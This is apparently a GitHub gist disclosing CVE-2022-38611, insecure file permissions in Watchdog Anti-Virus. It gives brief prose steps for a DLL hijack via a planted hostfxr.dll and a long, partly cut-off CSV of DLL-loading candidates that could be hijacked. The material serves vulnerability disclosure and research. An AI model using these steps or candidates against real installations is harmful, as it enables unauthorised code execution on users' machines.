

Instantly share code, notes, and snippets.

dru1d-foofus / **File\_ACLS.txt**

Last active last month

☆ Star

<> Code   -○ Revisions   8

CVE-2022-38611 - WatchDog Anti-Virus Research

 README.md

# CVE-2022-38611 - Watchdog Anti-Virus v1.4.158 Vulnerabilities

CVE - <https://nvd.nist.gov/vuln/detail/CVE-2022-38611>

Watchdog Anti-Virus v1.4.158 has insecure ACLs applied to its core components; this includes:

- The C:\Program Files (x86)\Watchdog Anti-Virus\ directory allows BUILTIN\Users the ability to modify the directory's and inherited objects's ACLs.
- BUILTIN\Users are given full control of the WAV.exe binary itself and associated libraries.

These permissions issues could allow any user to execute code through DLL hijacking.

## Steps to Reproduce DLL Hijack

1. Identify a target for hijack. I've chose hostfxr.dll as it currently does not exist in my C:\Program Files (x86)\Watchdog Anti-Virus\ directory.
2. Create malicious DLL with exported function. hostfxr.dll's hostfxr\_main\_startupinfo or DLLMain exports worked during testing.
3. Copy malicious hostfxr.dll to the C:\Program Files (x86)\Watchdog Anti-Virus\ directory.

#### 4. Launch Watchdog Anti-Virus.

It should be noted that Watchdog Anti-Virus runs in the context of the current user and does not appear to elevate itself; therefore, there is only code execution and no privilege escalation.

Additional items included:

- dll\_results.csv; which contain other sideloading/hijacking candidates.
- File\_ACLS.txt; which contain a recursive listing of ACLs applied to files within the Watchdog Anti-Virus program directory.

#### dll\_results.csv

We can make this file [beautiful and searchable](#) if this error is corrected: It looks like row 2 should actually have columns, instead of 3. in line 1.

```
1 Executable,WinAPI,DLL,EntryPoint / WinAPI Args
2 unins000.exe,LoadLibraryW,LPCWSTR: Msctf.dll
3 unins000.exe,LoadLibraryA,LPCSTR: wtsapi32.dll
4 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\wtsapi32.dll, LPCSTR: WTSRegisterSession
5 unins000.exe,LoadLibraryA,LPCSTR: uxtheme.dll
6 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: BufferedPaintInit
7 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: OpenThemeData
8 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: CloseThemeData
9 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: DrawThemeBackground
10 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: DrawThemeText
11 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeBackgroundC
12 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeBackgroundC
13 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemePartSize
14 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeTextExtent
15 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeTextMetrics
16 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeBackgroundR
17 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: HitTestThemeBackgro
18 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: DrawThemeEdge
19 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: DrawThemeIcon
20 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: IsThemePartDefined
21 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: IsThemeBackgroundPa
22 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeColor
23 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeMetric
24 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeString
25 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeBool
26 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeInt
27 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeEnumValue
28 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemePosition
29 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeFont
```

30 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeRect  
31 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeMargins  
32 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeIntList  
33 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemePropertyOri  
34 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: SetWindowTheme  
35 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeFilename  
36 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeSysColor  
37 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeSysColorBru  
38 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeSysBool  
39 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeSysSize  
40 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeSysFont  
41 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeSysString  
42 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeSysInt  
43 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: IsThemeActive  
44 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: IsAppThemed  
45 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetWindowTheme  
46 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: EnableThemeDialogTe  
47 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: IsThemeDialogTextur  
48 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeAppProperti  
49 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: SetThemeAppProperti  
50 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetCurrentThemeName  
51 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeDocumentati  
52 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: DrawThemeParentBack  
53 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: EnableTheming  
54 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\wtsapi32.dll, LPCSTR: WTSUnRegisterSessi  
55 unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: BufferedPaintUnInit  
56 Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\host\fxr\6.0.7\hostfxr.dll, dwFlags : LO  
57 Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\host\fxr\6.0.7\hostfxr.dll, LPCSTR: host  
58 Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\host\fxr\6.0.7\hostfxr.dll, LPCSTR: host  
59 Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\hostp  
60 Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\hostp  
61 Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\hostp  
62 Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\hostp  
63 Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\hostp  
64 Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\hostp  
65 Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\hostp  
66 Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\corec  
67 Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\corec  
68 Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\corec  
69 Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\corec  
70 Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\corec  
71 Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Syste  
72 Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\clrji  
73 Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\clrji  
74 Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\clrji  
75 Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.Diag.dll, dwFlags  
76 Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Syste  
77 Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Syste  
78 Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Syste

[illegible]

128 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
129 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
130 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
131 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
132 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
133 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
134 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
135 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
136 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
137 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\BCrypt  
138 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
139 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files (x86)\Watchdog Anti-Virus\log4net.dll, dwFlags :  
140 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files (x86)\Watchdog Anti-Virus\System.Configuration.C  
141 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
142 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
143 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
144 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
145 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
146 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
147 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
148 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
149 WAV.exe,LoadLibraryExW,LPCWSTR : Microsoft.DiaSymReader.Native.amd64.dll, dwFlags : LOAD\_WITH\_ALTE  
150 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros  
151 WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros  
152 WAV.exe,LoadLibraryExW,LPCWSTR : Microsoft.DiaSymReader.Native.amd64.dll, dwFlags : LOAD\_WITH\_ALTE  
153 WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros  
154 WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros  
155 WAV.exe,LoadLibraryExW,LPCWSTR : Microsoft.DiaSymReader.Native.amd64.dll, dwFlags : LOAD\_WITH\_ALTE  
156 WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros  
157 WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros  
158 WAV.exe,LoadLibraryExW,LPCWSTR : Microsoft.DiaSymReader.Native.amd64.dll, dwFlags : LOAD\_WITH\_ALTE  
159 WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros  
160 WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros  
161 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
162 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
163 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
164 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
165 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
166 WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
167 WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
168 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
169 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files (x86)\Watchdog Anti-Virus\System.Threading.Acces  
170 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
171 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros  
172 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.Sciter.dll, dwFlag  
173 WAV.exe,LoadLibraryA,LPCSTR: powrprof.dll  
174 WAV.exe,LoadLibraryExA,LPCSTR: powrprof.dll, dwFlags : NONE  
175 WAV.exe,LoadLibraryExW,LPCWSTR : powrprof.dll, dwFlags : NONE  
176 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\powrprof.dll, LPCSTR: PowerRegisterSuspendRes



177 WAV.exe,LoadLibraryA,LPCSTR: ws2\_32.dll  
178 WAV.exe,LoadLibraryExA,LPCSTR: ws2\_32.dll, dwFlags : NONE  
179 WAV.exe,LoadLibraryExW,LPCWSTR : ws2\_32.dll, dwFlags : NONE  
180 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2\_32.dll, LPCSTR: GetHostNameW  
181 WAV.exe,LoadLibraryExW,LPCWSTR : Microsoft.DiaSymReader.Native.amd64.dll, dwFlags : LOAD\_WITH\_ALTE  
182 WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros  
183 WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros  
184 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.SDK.dll, dwFlags :  
185 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\wsdk-a  
186 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files (x86)\Watchdog Anti-Virus\wsdk-antivirus.dll, dw  
187 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\wsdk-antivirus.dll, LP  
188 WAV.exe,LoadLibraryExA,LPCSTR: winhttp.dll, dwFlags : NONE  
189 WAV.exe,LoadLibraryExW,LPCWSTR : winhttp.dll, dwFlags : NONE  
190 WAV.exe,LoadLibraryA,LPCSTR: libclamav.dll  
191 WAV.exe,LoadLibraryExA,LPCSTR: libclamav.dll, dwFlags : NONE  
192 WAV.exe,LoadLibraryExW,LPCWSTR : libclamav.dll, dwFlags : NONE  
193 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue  
194 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue  
195 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue  
196 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libclamav.dll  
197 WAV.exe,LoadLibraryA,LPCSTR: libclamunrar\_iface.dll.9.0.4  
198 WAV.exe,LoadLibraryExA,LPCSTR: libclamunrar\_iface.dll.9.0.4, dwFlags : NONE  
199 WAV.exe,LoadLibraryExW,LPCWSTR : libclamunrar\_iface.dll.9.0.4, dwFlags : NONE  
200 WAV.exe,LoadLibraryA,LPCSTR: libclamunrar\_iface.dll.9  
201 WAV.exe,LoadLibraryExA,LPCSTR: libclamunrar\_iface.dll.9, dwFlags : NONE  
202 WAV.exe,LoadLibraryExW,LPCWSTR : libclamunrar\_iface.dll.9, dwFlags : NONE  
203 WAV.exe,LoadLibraryA,LPCSTR: libclamunrar\_iface.dll  
204 WAV.exe,LoadLibraryExA,LPCSTR: libclamunrar\_iface.dll, dwFlags : NONE  
205 WAV.exe,LoadLibraryExW,LPCWSTR : libclamunrar\_iface.dll, dwFlags : NONE  
206 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libclamunrar\_  
207 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libclamunrar\_  
208 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libclamunrar\_  
209 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libclamunrar\_  
210 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libclamunrar\_  
211 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libclamav.dll  
212 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libclamav.dll  
213 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\wsdk-antivirus.dll, LP  
214 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\secur3  
215 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
216 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
217 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Netapi  
218 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files (x86)\Watchdog Anti-Virus\Netapi32.dll, dwFlags  
219 WAV.exe,LoadLibraryExW,LPCWSTR : Netapi32.dll, dwFlags : NONE  
220 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\Netapi32.dll, LPCSTR: NetGetJoinInformationW  
221 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\Netapi32.dll, LPCSTR: NetGetJoinInformation  
222 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
223 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
224 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
225 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System

226 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\winhtt  
227 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\WINHTTP.dll, LPCSTR: WinHttpGetIEProxyConfigF  
228 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\WINHTTP.dll, LPCSTR: WinHttpGetIEProxyConfigF  
229 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
230 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\WINHTTP.dll, LPCSTR: WinHttpOpenW  
231 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\WINHTTP.dll, LPCSTR: WinHttpOpen  
232 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
233 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\WINHTTP.dll, LPCSTR: WinHttpGetProxyForUrlW  
234 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\WINHTTP.dll, LPCSTR: WinHttpGetProxyForUrl  
235 WAV.exe,LoadLibraryExW,LPCWSTR : dxgi.dll, dwFlags : NONE  
236 WAV.exe,LoadLibraryExW,LPCWSTR : d3d11.dll, dwFlags : NONE  
237 WAV.exe,LoadLibraryExW,LPCWSTR : sspicli.dll, dwFlags : NONE  
238 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
239 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
240 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
241 WAV.exe,LoadLibraryExW,LPCWSTR : mscms.dll, dwFlags : NONE  
242 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
243 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\ws2\_32  
244 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2\_32.dll, LPCSTR: WSASStartup  
245 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2\_32.dll, LPCSTR: WSASocketWW  
246 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2\_32.dll, LPCSTR: WSASocketW  
247 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2\_32.dll, LPCSTR: closesocket  
248 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2\_32.dll, LPCSTR: WSASocketWW  
249 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2\_32.dll, LPCSTR: WSASocketW  
250 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2\_32.dll, LPCSTR: WSASocketWW  
251 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2\_32.dll, LPCSTR: WSASocketW  
252 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2\_32.dll, LPCSTR: setsockopt  
253 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2\_32.dll, LPCSTR: setsockopt  
254 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
255 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2\_32.dll, LPCSTR: WSASStartup  
256 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2\_32.dll, LPCSTR: GetAddrInfoW  
257 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2\_32.dll, LPCSTR: FreeAddrInfoW  
258 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2\_32.dll, LPCSTR: getsockopt  
259 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2\_32.dll, LPCSTR: WSASocketW  
260 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
261 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\sspicl  
262 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\SSPICLI.DLL, LPCSTR: EnumerateSecurityPackage  
263 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\SSPICLI.DLL, LPCSTR: FreeContextBuffer  
264 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
265 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\SSPICLI.DLL, LPCSTR: AcquireCredentialsHandle  
266 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\SSPICLI.DLL, LPCSTR: InitializeSecurityContext  
267 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\wsdk-antivirus.dll, LP  
268 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
269 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2\_32.dll, LPCSTR: WSASend  
270 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2\_32.dll, LPCSTR: WSARcv  
271 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\SSPICLI.DLL, LPCSTR: QueryContextAttributesW  
272 WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System  
273 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\SSPICLI.DLL, LPCSTR: EncryptMessage  
274 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2\_32.dll, LPCSTR: send

```

275 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2_32.dll, LPCSTR: recv
276 WAV.exe,LoadLibraryExW,LPCWSTR : dwwrite.dll, dwFlags : NONE
277 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\SSPICLI.DLL, LPCSTR: DecryptMessage
278 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\SSPICLI.DLL, LPCSTR: DeleteSecurityContext
279 WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2_32.dll, LPCSTR: shutdown
280 WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
281 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\wsdk-antivirus.dll, LP
282 WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\wsdk-antivirus.dll, LP
283 WAV.exe,LoadLibraryA,LPCSTR: libfreshclam.dll
